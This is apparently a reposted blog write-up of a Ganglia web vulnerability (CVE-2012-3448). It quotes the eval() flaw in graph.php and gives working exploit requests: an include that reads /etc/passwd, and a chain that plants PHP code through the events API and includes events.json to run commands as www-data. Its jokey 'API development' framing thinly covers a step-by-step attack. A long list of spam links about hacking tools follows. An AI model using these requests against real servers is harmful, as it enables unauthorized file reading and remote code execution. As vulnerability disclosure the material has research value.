http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Related news
- Hacker Tools For Mac
- Hacker Hardware Tools
- Hack App
- Hack Tool Apk
- Nsa Hacker Tools
- Hacking Tools For Windows
- What Are Hacking Tools
- Hacking Tools Hardware
- Pentest Tools List
- Hacker Tools Apk Download
- Free Pentest Tools For Windows
- Hacker Tools Windows
- Hacker Tools Free Download
- Termux Hacking Tools 2019
- Hack Apps
- Termux Hacking Tools 2019
- Hacking Tools And Software
- Tools 4 Hack
- Hacker Tools For Mac
- Hacker Tools Online
- Install Pentest Tools Ubuntu
- Hacking Tools Pc
- Computer Hacker
- Pentest Tools For Android
- Pentest Tools Apk
- Pentest Box Tools Download
- Nsa Hack Tools Download
- Hacking Tools Usb
- Hacker Tools Free
- Hacking Tools Kit
- Hack Tools For Games
- Hack Tools For Windows
- Physical Pentest Tools
- How To Install Pentest Tools In Ubuntu
- Pentest Recon Tools
- Computer Hacker
- Hacking Tools Mac
- Hacker Tools For Windows
- Hack Apps
- Pentest Tools Website Vulnerability
- New Hacker Tools
- Hacking Tools Windows
- Underground Hacker Sites
- Hack Website Online Tool
- Hacking Tools Windows 10
- Hacker Tools Apk Download
- How To Hack
- Pentest Tools Bluekeep
- Hack Tools Download
- Hacking App
- Free Pentest Tools For Windows
- Pentest Tools
- Tools For Hacker
- Best Hacking Tools 2020
- Hacking Tools 2020
- Pentest Tools For Ubuntu
- Hack Website Online Tool
- Blackhat Hacker Tools
- Hack Website Online Tool
- Hacking Tools Windows 10
- Underground Hacker Sites
- Hacking Tools For Pc
- Pentest Tools Subdomain
- Hack Tools Github
- Hacker Tools Windows
- Hacking Tools For Mac
- Hacker Tool Kit
- Pentest Tools Url Fuzzer
- Hacker Tools Online
- Hacker Tools For Mac
- Hacker Tools Github
- Black Hat Hacker Tools
- Pentest Tools Download
- Pentest Tools Review
- Hacking Tools Free Download
- Hacker Tools 2020
- Hack Tools
- Hacking Tools
- Pentest Automation Tools
- Hacking App
- Install Pentest Tools Ubuntu
- Pentest Tools Apk
- Hack Tools Online
- Pentest Tools Github
- Github Hacking Tools
- Hack Tools Mac
- Hacker Tools For Ios
- Pentest Tools Bluekeep
- Hack Apps
- Wifi Hacker Tools For Windows
- Pentest Tools Framework
- Hacking Tools
- Hackrf Tools
- Hacker Hardware Tools
- Nsa Hack Tools
- Hack App
- Hacking Tools For Windows
- Pentest Tools For Ubuntu
- Pentest Tools
- Hacker Tools Linux
- Pentest Reporting Tools
- Hacker Tools Free
- Hacker Tools For Windows
- Hack Tools For Mac
- Hack And Tools
- Hack Tools Download
- Best Hacking Tools 2020
- Hacking Tools Hardware
- Hacking Tools Online
- Hack Tools Github
- Pentest Tools Online
- Bluetooth Hacking Tools Kali
- Hacking Tools For Beginners
- Pentest Tools Tcp Port Scanner
- Android Hack Tools Github
- Hacking Tools Online
- Best Hacking Tools 2019
- Hacker
- Hack Apps
- Hack App
- Best Pentesting Tools 2018
- Pentest Tools For Mac
- Pentest Tools For Ubuntu
- Pentest Tools Framework
- Pentest Tools Alternative
- What Is Hacking Tools
- Hack Tools For Games
- Pentest Tools Linux
- Hacking Tools Windows
- Tools For Hacker
No comments:
Post a Comment